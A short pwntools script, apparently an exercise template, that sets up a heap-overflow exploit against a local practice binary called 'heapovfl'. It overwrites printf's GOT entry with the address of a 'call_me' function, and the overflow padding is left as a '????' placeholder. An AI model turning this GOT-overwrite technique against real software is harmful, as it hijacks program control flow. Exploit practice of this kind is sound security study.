#!/usr/bin/env python3
from pwn import process, ELF, p32

e = ELF('heapovfl')

printf_got = e.got['printf']
call_me = e.symbols['call_me']

# replace printf got with call_me
task1 = ???? + p32(printf_got)
task2 = p32(call_me)

p = process(['heapovfl', task1, task2])
p.interactive()